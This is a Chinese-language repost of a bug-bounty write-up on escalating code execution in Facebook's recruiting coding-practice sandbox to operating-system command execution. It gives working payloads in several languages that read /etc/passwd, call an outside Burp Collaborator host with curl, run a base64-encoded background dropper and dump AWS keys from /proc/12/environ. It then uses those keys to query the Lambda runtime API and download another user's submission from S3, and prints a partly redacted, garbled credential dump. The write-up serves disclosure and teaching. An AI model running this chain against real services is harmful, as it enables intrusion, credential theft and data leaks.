【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

2024-01-21

部分网站开设编码练习,若安全配置不当,则代码执行将升级为操作系统命令注入,导致敏感信息泄露。

本文仅分享命令执行相关知识,不承担任何由于传播、利用本文所发布内容而造成的任何后果及法律责任。未经许可,不可转载。

信息泄露

facebookrecruiting.com 是 Facebook 用于招聘的网站,其网站页面存在 面试准备 模块:

在这里插入图片描述
该模块提供了一系列编程练习:

在这里插入图片描述
尝试调用Runtime类的exec()方法来执行"/bin/sh -c cat /etc/passwd"命令:

class Main {
    public static void main(String[] args) {
        try {
            String s = null;
            java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /etc/passwd"}).getInputStream());
            while ((s = in.readLine()) != null) {
                System.out.println(s);
            }
        } catch (Exception ex) {
        }
    }
}

回显如下,得到Linux中passwd文件内容:

在这里插入图片描述

这说明程序运行时没有对用户代码进行容器的安全性包装。

尝试不对异常进行捕获,如果成功回显则说明程序并未对代码进行安全性处理:

class Main {
    public static void main(String[] args) throws Exception {
        String s = null;
        java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "uname -a"}).getInputStream());
        s = in.readLine();
        System.out.println(s);
    }
}
//uname -a命令显示系统信息,包括内核名称、版本、机器类型和操作系统

回显如下:

在这里插入图片描述

同时,所有语言的Payload均有效:

Python :获取当前用户的身份标识符 (UID) 和组标识符 (GID)

eval(compile("""for x in range(1):\n import os\n os.popen(r'id').read()""",'','single'))

在这里插入图片描述

JavaScript :列出当前目录中的文件和文件夹

require('child_process').exec ('ls',function(err, data){console.log(data);});

在这里插入图片描述
PHP :获取当前执行此命令的用户的用户名

shell_exec("whoami");

在这里插入图片描述
同时,还可使用 burp 协作器进行外部服务交互:

system("curl -X GET -i http://xxxxxxxxxxxxxxxxx6vmiqkyzp5ft4.burpcollaborator.net");

在这里插入图片描述
其它命令如 cat /proc/version cat /etc/resolv.conf ls -alR /tmp ls -al /var/runtime 均能执行,本文不再叙述。

扩大危害

上述危害似乎只是冰山一角,要扩大危害,AWS凭证是个突破口。

判断网站是否运用了AWS本文不叙。AWS凭证常置于 /proc/self/environ ,但访问无果。

注意到Lambda 是 AWS 的一项核心服务,且与存储桶等挂钩,于是转变方向。

通过env查看环境变量:

在这里插入图片描述
得到当前目录 /var/task ,接着列出当前目录下文件:

class Main {
    public static void main(String[] args) throws Exception {
        String s = null;
        java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ls /var/task"}).getInputStream());
        while((s = in.readLine()) != null)
        {
           System.out.println(s);
        }
    }
}

在这里插入图片描述
回显两个文件名,尝试 system("ls -al; cat/var/task/app.py") 访问app.py,但输出被限制。

使用Python构造Payload: sed -n "1, 200p" < app.py | sed -n "1, 200p" < app.py | base64-w0“1, 200p” < app.py | base64 -w0 (输出指定行经 base64 编码后的内容)

解码得到:

在这里插入图片描述
将代码流程剥离:

1、启动该函数的记录器和跟踪器

2、设置 S3 客户端连接

3、使用 shell 命令运行用户提供的代码 subprocess

4、在脚本执行期间临时取消设置AWS环境变量

5、将文件放入 S3 存储桶

6、清理 /tmp 目录

核心代码如下:

...
    stored_env_values = {}
    for key in os.environ:
      if 'AWS' in key:
        stored_env_values[key] = os.environ[key]

    for key in stored_env_values:
      del os.environ[key]
...
    for key in stored_env_values:
      os.environ[key] = stored_env_values[key]
...

首先将AWS环境变量复制到本地的Python变量中,然后删除它们,以防止脚本执行时能够访问AWS环境变量。命令执行后,再恢复隐藏的环境变量,这也就是访问**/proc/self/environ**得不到AWS凭证的原因。

既然做了如上限制,则思路应为:在脚本执行期间转储AWS凭证。

方法一:可以通过gc垃圾收集模块得到正在运行的Python脚本中对象的变量值,但当前脚本中并无AWS对象

在这里插入图片描述
方法二:尝试在执行完成后将所有现有的环境变量导出到一个用户定义的环境变量(ice)中:

实现脚本与代码执行的不同步:

#!/bin/sh 
sleep 5
export ice=$(env | base64 -w0)

经过base64编码再结合部分语法得到:

echo "IyEvYmluL3NoCnNsZWVwIDUKZXhwb3J0IFdJTjNaWj0kKGVudiB8IGJhc2U2NCAtdzAp" | base64 -d > /tmp/w | chmod +x /tmp/w | chmod +x /tmp/w | nohup sh /tmp/w > /dev/null 2>&1 &

简要来说,将编码的 shell 脚本解码后,保存到文件中,使脚本作为后台进程运行,并丢弃脚本的任何输出(即输出变量ice)。

然而失败:

在这里插入图片描述

方法三:从Python包入手。借助 pip freeze 命令检查所有已安装的 Python 包

在这里插入图片描述

存在 psutil 包,该包用于在 Python 中检索有关正在运行的进程和系统利用率(CPU、内存、磁盘、网络、传感器)的信息。

由于无法执行 ps 等Linux命令来检查正在运行的进程。因此,利用psutil分析正在运行的进程。

列出所有进程:

system("python -c 'import psutil;print(tuple(psutil.process_iter()));'");

在这里插入图片描述

(psutil.Process(pid=1, name=‘init’, status=‘sleeping’, started=‘03:08:52’), psutil.Process(pid=8, name=‘cloudwatch_lambda_agent’, status=‘sleeping’, started=‘03:08:52’), psutil.Process(pid=11, name=‘python3.9’, status=‘sleeping’, started=‘03:08:52’), psutil.Process(pid=298, name=‘bash’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=299, name=‘timeout’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=300, name=‘time’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=301, name=‘sh’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=302, name=‘php’, status=‘sleeping’, started=‘03:17:02’), psutil.Process(pid=303, name=‘python’, status=‘running’, started=‘03:17:02’))

可以看到,Python3.9以进程 ID 12 运行,故可通过 pid 12 在 Linux 中分析相关元数据。

最终Payload如下:

<?php
system("cat /proc/12/environ");
?>

在这里插入图片描述

完整内容如下(已脱敏):

AWS_LAMBDA_FUNCTION_VERSION= L A T E S T A W S S E S S I O N T O K E N = i c e i c e i c e i c e / / / / / / / / / / w E a C L X d l c 3 Q t M S J I M E Y C I Q C U R c d 3 H b P w P z / s D E 6 m F 3 L g 6 y / n 18 P M J q + 7 J D 1 D v 8 C C I T / / / / / / / / / / w E Q A R o M O T M z N T E y N T U w M T g 2 I g y q Z k h E B 7 O + 3 u O Y M 4 t B x M x m k i i u r q Z P c u X j + h W A t U v h n X r y A f x l G 4 i R m Q 6 b X I y q T N 8 n T d M V y 4 U R n 9 v v N O Z a i R / q 9 F o Q V J w N A w e + 9 K g z A H C p C k q m G 3 j X B I c H + D x H y 24 b Y M 6 q y H j w f F 0 g S K / V H 04 f R o e S 4 k J h W m H 1 A Y c y j e j X Q l x 9 J l 2 p M y d L T w 67 Z S g B S D 9 B Y s K O N 7 i + q m X K n 9 G 7 R D w / H J 6 s 6 a R 6 y 2 L k a S h s h N s x n 1 Q T / s 61 F h a U L 5 r r 7 A t 7497 h E 0 W 5 A F Z 4 j C g v B 7 o 2 / K 3 r s a l Y v o d P y s P 5 J 7 w B / U a L x n g w 8 x S V Y H M C u a 9 b m a a q 6 t t / + U I 7 t H Y B S / O J N M Z g 7 N 6 h J Q e P b n d k T 4 Y y K Z i Q e z J 5 E q + e 9 w U g w 68 i S r Q Y 6 n Q E D W V 1 I x 1 p P P y 5 U d 9 S h C v U K P o 9 J 8 j C 3 n 1 k s u x f Y J k k p i q C m O K v j h Q T s x D H 88 Q 1 Q / d M 9 X p 4 s r F v x + K 9 x l g 5 Y z l v N e V N h h 2 P b A P 7 e R 5 s b K d F k B j g 4 c J Y x K g l N Q Q m l N q M h H d W F W q h b h h 8 X N E r D A a b h U 0 l G 6 g N W G A L A M B D A T A S K R O O T = / v a r / t a s k A W S L A M B D A L O G G R O U P N A M E = / a w s / l a m b d a / r u n c o d e f u n c t i o n L D L I B R A R Y P A T H = / v a r / l a n g / l i b : / l i b 64 : / u s r / l i b 64 : / v a r / r u n t i m e : / v a r / r u n t i m e / l i b : / v a r / t a s k : / v a r / t a s k / l i b : / o p t / l i b A W S L A M B D A L O G S T R E A M N A M E = 2024 / 01 / 15 / [ LATESTAWS_SESSION_TOKEN=iceiceiceice//wEaCLXdlc3QtMSJIMEYCIQCURcd3HbPwPz/sDE6mF3Lg6y/n18PMJq+7JD1Dv8CCIT//wEQARoMOTMzNTEyNTUwMTg2IgyqZkhEB7O+3uOYM4tBxMxmkiiurqZPcuXj+hWAtUvhnXryAfxlG4iRmQ6bXIyqTN8nTdMVy4URn9vvNOZaiR/q9FoQVJwNAwe+9KgzAHCpCkqmG3jXBIcH+DxHy24bYM6qyHjwfF0gSK/VH04fRoeS4kJhWmH1AYcyjejXQlx9Jl2pMydLTw67ZSgBSD9BYsKON7i+qmXKn9G7RDw/HJ6s6aR6y2LkaShshNsxn1QT/s61FhaUL5rr7At7497hE0W5AFZ4jCgvB7o2/K3rsalYvodPysP5J7wB/UaLxngw8xSVYHMCua9bmaaq6tt/+UI7tHYBS/OJNMZg7N6hJQePbndkT4YyKZiQezJ5Eq+e9wUgw68iSrQY6nQEDWV1Ix1pPPy5Ud9ShCvUKPo9J8jC3n1ksuxfYJkkpiqCmOKvjhQTsxDH88Q1Q/dM9Xp4srFvx+K9xlg5YzlvNeVNhh2PbAP7eR5sbKdFkBjg4cJYxKglNQQmlNqMhHdWFWqhbhh8XNErDAabhU0lG6gNWGALAMBDA_TASK_ROOT=/var/taskAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/run_code_functionLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libAWS_LAMBDA_LOG_STREAM_NAME=2024/01/15/[ L A TEST A W S S ESS I O N T O K EN = i ce i ce i ce i ce // wE a C L X d l c 3 QtMS J I ME Y C I QC U R c d 3 H b PwP z / sD E 6 m F 3 Lg 6 y / n 18 PM J q + 7 J D 1 D v 8 CC I T // wEQ A R o MOTM z NTE y NT U wMT g 2 I g y qZ kh EB 7 O + 3 u O Y M 4 tB x M x mkii u r qZP c u X j + hW A t Uv hn X ry A f x lG 4 i R m Q 6 b X I y qTN 8 n T d M V y 4 U R n 9 vv NOZ ai R / q 9 F o Q V J wN A w e + 9 K g z A H CpC k q m G 3 j XB I cH + D x Hy 24 bY M 6 q yH j w f F 0 g S K / V H 04 f R oe S 4 k J hWm H 1 A Y cy j e j XQl x 9 J l 2 pM y d L Tw 67 ZS g BS D 9 B Y sK ON 7 i + q m X K n 9 G 7 R D w / H J 6 s 6 a R 6 y 2 L ka S h s h N s x n 1 QT / s 61 F ha UL 5 rr 7 A t 7497 h E 0 W 5 A FZ 4 j C gv B 7 o 2/ K 3 rs a l Y v o d P ys P 5 J 7 wB / U a Lx n g w 8 x S VY H MC u a 9 bmaa q 6 tt / + U I 7 t H Y BS / O J NMZ g 7 N 6 h J Q e P bn d k T 4 Y yK Z i Q ez J 5 Eq + e 9 w Ug w 68 i S r Q Y 6 n QE D WV 1 I x 1 pPP y 5 U d 9 S h C vU K P o 9 J 8 j C 3 n 1 k s ux f Y J kk p i qC m O K v jh QT s x DH 88 Q 1 Q / d M 9 Xp 4 sr F vx + K 9 x l g 5 Y z l v N e V N hh 2 P b A P 7 e R 5 s b K d F k B j g 4 c J Y x K g lNQQ m lNqM h H d W F W q hbhh 8 XNE rD A abh U 0 lG 6 g N W G A L A MB D A T A S K R OOT = / v a r / t a s k A W S L A MB D A L O G G RO U P N A ME = / a w s / l amb d a / r u n c o d e f u n c t i o n L D L I BR A R Y P A T H = / v a r / l an g / l ib : / l ib 64 : / u sr / l ib 64 : / v a r / r u n t im e : / v a r / r u n t im e / l ib : / v a r / t a s k : / v a r / t a s k / l ib : / o pt / l ib A W S L A MB D A L O G S TRE A M N A ME = 2024/01/15/ [ LATEST]13b8d2634c675d20d5aAWS_LAMBDA_RUNTIME_API=xxx.xxx.xxx.xxx:iceiAWS_EXECUTION_ENV=AWS_Lambda_python3.9AWS_LAMBDA_FUNCTION_NAME=run_code_functionAWS_XRAY_DAEMON_ADDRESS=169.xxx.xx.xxx:iceiPATH=/usr/local/scala-2.xxx.xxx/bin:/usr/local/go/bin:/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/binAWS_DEFAULT_REGION=us-west-1PWD=/var/taskAWS_SECRET_ACCESS_KEY=MJpjnbjhtxxxLKViceZdiceiceiceAudo+SdsAjOy1LANG=en_US.UTF-8LAMBDA_RUNTIME_DIR=/var/runtimeAWS_LAMBDA_INITIALIZATION_TYPE=on-demandTZ=:/etc/localtimeAWS_REGION=us-west-1AWS_ACCESS_KEY_ID=ASIA5SWNPCxxxxxxxYFXSHLVL=0_AWS_XRAY_DAEMON_ADDRESS=xxx.xxx.xx.xxx_AWS_XRAY_DAEMON_PORT=xxxxAWS_XRAY_CONTEXT_MISSING=LOG_ERROR_HANDLER=app.lambda_handlerAWS_LAMBDA_FUNCTION_MEMORY_SIZE=xxxx

可以看到 AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN 均能显现,从而导致未经授权的访问、敏感信息泄露等。

该危害的利用将具化如下。

使用 AWS CLI 工具检查 AWS 凭证的有效性:

export AWS_SESSION_TOKEN=XXXXX
export AWS_SECRET_ACCESS_KEY=XXXXX
export AWS_ACCESS_KEY_ID=XXXXX
aws sts get-caller-identity

img

回显表示来自 IAM STS 的临时安全凭证,用于向 AWS 资源发出编程请求。

对AWS环境进行分析时发现:AWS Lambda函数在本地主机的9001端口上暴露了一个内部API,而该API本来只应该由服务器/云管理员访问。故可访问API的某个特定端点,获取函数执行时传入的数据(可能包含敏感数据)

运行 system("curl -X GET -i http://localhost:9001/2018-06-01/runtime/inspiration/next"); 得到:

HTTP/1.1 200 OK
Content-Type: application/json
Lambda-Runtime-Aws-Request-Id: fd9e4cc8-c142-48d9-943d-e6b1e1859823
Lambda-Runtime-Deadline-Ms: 1650825840458
Lambda-Runtime-Invoked-Function-Arn: arn:aws:lambda:us-west-1:933512550186:function:run_code_function
Lambda-Runtime-Trace-Id: Root=1-62659a33-6515445a649a51be4f72ed0b;Parent=ff2d67174177dd6f;Sampled=1
Content-Length: 367

{
 "execution_step":"run",
 "user_code":{
  "file_name":"source.txt",
  "language":"PHP"
 },
 "inputfile":484109642711496,
 "submission_id":408496154056779,
 "s3_region":"us-west-1",
 "time_limit_per_case_in_ms":10000,
 "upload_uri":"source.txt",
 "execution_command":"php /tmp/source.txt < /tmp/input.in",
 "memory_limit_in_bytes":536870912,
 "s3_bucket":"terraform-20210608051810146400000001"
}

访问s3存储桶: aws s3 cp s3://terraform-20210608051810146400000001/751854516023863/source.txt myOutputFile.txt

img

可以看到,用户Kevin的解决方案已被泄露:

img

参考链接:
https://medium.com/@win3zz/facebook-bug-a-journey-from-code-execution-to-s3-data-leak-698b7d2b02ef

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【网络安全】Facebook代码执行实现命令执行、敏感信息泄露 的相关文章

  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • SpiderFlow爬虫平台 前台RCE漏洞复现(CVE-2024-0195)

    0x01 产品简介 SpiderFlow是新一代爬虫平台 以图形化方式定义爬虫流程 以流程图的方式定义爬虫 不写代码即可完成爬虫 是一个高度灵活可配置的爬虫平台 0x02 漏洞概述 SpiderFlow爬虫平台src main java o
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 前端必备的 web 安全知识手记

    前言 安全这种东西就是不发生则已 一发生则惊人 作为前端 平时对这方面的知识没啥研究 最近了解了下 特此沉淀 文章内容包括以下几个典型的 web 安全知识点 XSS CSRF 点击劫持 SQL 注入和上传问题等 下文以小王代指攻击者 话不多
  • WEB前端常见受攻击方式及解决办法总结

    一个网址建立后 如果不注意安全问题 就很容易被人攻击 下面讨论一下集中漏洞情况和放置攻击的方法 一 SQL注入 所谓的SQL注入 就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串 最终达到欺骗服务器执行恶意的SQL命
  • J2EE常见面试题(一)

    StringBuilder和StringBuffer的区别 String 字符串常量 不可变 使用字符串拼接时是不同的2个空间 StringBuffer 字符串变量 可变 线程安全 字符串拼接直接在字符串后追加 StringBuilder
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 2024年金三银四网络安全考试试题

    2023年金三银四网络安全考试试题 1 关于数据使用说法错误的是 A 在知识分享 案例中如涉及客户网络数据 应取敏感化 不得直接使用 B 在公开场合 公共媒体等谈论 传播或发布客户网络中的数据 需获得客户书面授权或取敏感化 公开渠道获得的除
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 网络安全基础知识面试题库

    1 基于路由器的攻击手段 1 1 源IP地址欺骗式攻击 入侵者从外部传输一个伪装成来自内部主机的数据包 数据包的IP是 内网的合法IP 对策 丢弃所有来自路由器外端口 却使用内部源地址的数据包 1 2 源路由攻击 入侵者让数据包循着一个不可
  • 网络安全:绕过 MSF 的一次渗透测试

    这次渗透的主站是 一个 Discuz 3 4 的搭建 违法招 piao 网站 配置有宝塔 WAF 用 Discuz ML 3 X 的漏洞进行攻击 但是没有成功 发现主站外链会有一个发卡网 引导人们来这充值 是 某某发卡网 而且域名指向也是主
  • 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一 CS反向连接上线 拿下Win2008 一 使用转发代理上线创建监听器 二 上传后门执行上线 隧道技术 SMB协议 SMB协议介绍
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如

随机推荐